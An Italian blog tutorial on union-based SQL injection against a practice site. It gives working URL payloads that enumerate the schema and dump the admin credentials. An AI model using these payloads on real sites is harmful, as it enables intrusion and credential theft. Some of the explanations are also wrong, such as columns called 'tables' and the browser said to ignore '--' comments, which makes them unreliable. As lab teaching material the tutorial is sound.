Salve a tutti e scusate(come sempre) la lunga attesa.Dire che sono stato occupato con la scuola è una bugia...perchè è FINITA!(WOW...4settimane dall'ultimo articolo devo rimediare...SUBITO!!!) :D
Comunque...in questo articolo parleremo delle SQL injections.
Prima però dobbiamo sapere COSA SONO e COSA FANNO.
Una SQLinjection è l'inserimento di codice NON previsto all'interno dei database mySQL o msSQL.
L'utilizzo di questi "codici aggiuntivi" sfuttano falle di programmazione lasciate dai programmatori.
Prima di passare "all'attacco" fatevi spiegare come è strutturato un database mySQL(che sono quelli più usati).
Immaginate un database come un foglio di excel.Anzi apritelo!
Appena aperto noterete in basso delle "tabelle" con scritto "Sheet 1" o "Foglio 1" o cose simili.
Questi "fogli" (chiamiamoli così..) in SQL vengono chiamati "Tables".
Ora,apritene uno...noterete che avete RIGHE e COLONNE.Lo stesso vale per un database.
Ci sono le colonne,le righe e i "fogli"(tables).
ATTENZIONE!L'AUTORE DELLA GUIDA(GHEBBO_HCK) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.Guardate quest'immagine.E' un foglio di excel(in realtà è OpenOffice...ma poco importa).
Immaginate che questo sia un database,ricordate però che un database è formato da più "tables":
Ogni database ha un nome(da ora in poi db_name) e delle tables(da ora in poi db_tables) e che queste tables hanno delle colonne che contengono le informazioni.
Solitamente le passwords sono criptate,quindi non troveremo la password "in chiaro" ma troveremo soltanto un HASH*.
*HASH:è un codice univoco che rappresenta una determinata stringa.
Ora passiamo un po alla parte "importante" =).
Come si fa a scoprire se un sito è vulnerabile?
Non si dovrebbe scoprire(hehehe) =)!Agli amministratori non piacciono qeuste cose(è come dirgli che non sanno fare le cose sicure).
Comunque,ora passiamo alla pratica!
Qui potremo esercitarci legalmente! :)
In questo "tutorial" andremo ad utilizzare il metodo GET,usato dal protocollo HTTP.
Questo consiste nel ricevere i "parametri" direttamente dall'URL.
Questo consiste nel ricevere i "parametri" direttamente dall'URL.
Quindi indovinate un po dove andremo a scrivere le nostre injections...esatto...nella barra dell'URL.Semplice no?
Una volta andati sul sito selezionate un item(ad esempio 1) e vedrete una normale schermata che vi mostra le informazioni sul "prodotto"...
Ora guardate la string dell'url,dovrebbe essere qualcosa di simile:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1
noi non dobbiamo fare altro che aggiungere un apice alla fine,per vedere se è vulnerabile(approfondirò in seguito il motivo dell'apice).
Avremo quindi:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1'
noteremo che ora il database risponde con un errore(gli errori sono "generalizzati" con la stritta "Nice try ;)" quindi se la leggete,sostituitea mentalmente con "DB_Error").
Questo "Errore" è ORO per noi,visto che ci indica che il database è vulnerabile...
Ora però ci serve sapere quante "tables" ha il nostro bersaglio,percè dentro le tables ci sono le colonne,che noi vogliamo leggere(guardare l'immagine sopra e capirete cosa intendo) per farlo basta scrivere:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 order by <N>--
Dove <N> è il numero che vogliamo trovare.Come fare?Qui serve solo fare un po di tentativi...
Le "REGOLE" sono queste:
- Numero <N> troppo alto = errore ("Nice try ;)").
- Numero <N> troppo basso/corretto = hai "indovinato" il numero oppure è troppo basso.
Quindi dobbiamo trovare IL NUMERO PIU' ALTO CHE NON CI DIA UN ERRORE.
Dateci dentro!
Il prossimo passo è "unire" tutte le tables che abbiamo trovato(che sono 3!).
Questo ci consentirà di vederle tutte insieme e fare qualche injection.
Ecco il come fare:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,2,3--
I parametri che stiamo fornendo(union all select 1,2,3--) servono a dire al database di unire tutte le tables(union all) selezionate(select 1,2,3).
Dovreste avere davanti una pagina leggermente "alterata".
Per poter iniziare a "leggere" però ci maca ancora una cosa:il db_name(e già che ci siamo anche la versione =P ).
Per farlo basta modificare il precedente codice:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,database(),@@version--
Ora possiamo leggere nella pagina il db_name(che dovrebbe essere sqlinject) e la versione =).
La prossima parte potrebbe risultare leggermente contorta a prima vista,ma non vi preoccupate!
Digitate:
http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_name='admin')--
Con questo abbiamo la lista completa di tutte le tables(admin,defaces,shop,sql_users) e,in aggiunta la lista delle colonne della tabella ADMIN(id,username,password,email).Prima di continuare però ecco cosa "legge" il db:"seleziona il gruppo table_name(select group_concat(table_name)) dall'information_schema,sezione tables(from information_schema.tables) dove table_scheme è compreso nel database(where table_schema=database())".
La seconda parte è più o meno uguale solo che legge le colonne =).
Ora non ci resta che leggere le colonne...vediamo un po...quali vogliamo leggere(hehehehe,qui subentra l'indecisione!)?
Andiamo a leggere username e password dell'admin =)...
(questa parte è stata riformattata usando dei tag html,quindi vi sarà più facile leggere i dati =) )http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,(select group_concat(id,' Username:',username,' Password:',password) from admin) ,'Fine! =)'--
Ora non ci resta che vedere se l'username e la password sono corretti.Andiamo qui,inseriamo i dati ed il gioco è fatto:
http://217.23.1.219/sql_injection/vr1/admin.html
APPROFONDIMENTI:
Ora come promesso,vi spegherò come mai si usa l'apice e come mai si usano i due trattini(--).
L'apice si usa perchè genera un errore.Infatti se,per esempio il database legge:
id='1'
aggiungendo un apice avremmo:
id='1''
che è un errore,visto che apriamo e NON chiudiamo un eventuale secondo apice =).
Per quanto riguarda i trattini,in mysql tutto quello che li segue è un commento,quindi non viene preso in considerazione dal browser,quindi se per esempio c'è scritto :
id=1 --tanto non lo leggi =P
viene letta solo la parte "id=1".Aggiungendolo ala fine di ogni injection sappiamo che eventuale codice di verifica viene "commentato" e quindi ignorato.
Con questo concludiamo l'articolo...spero di esservi stato "utile".
Se notate qualunque tipo di errore,vi prego di segnalarlo.Grazie.
Nessun commento:
Posta un commento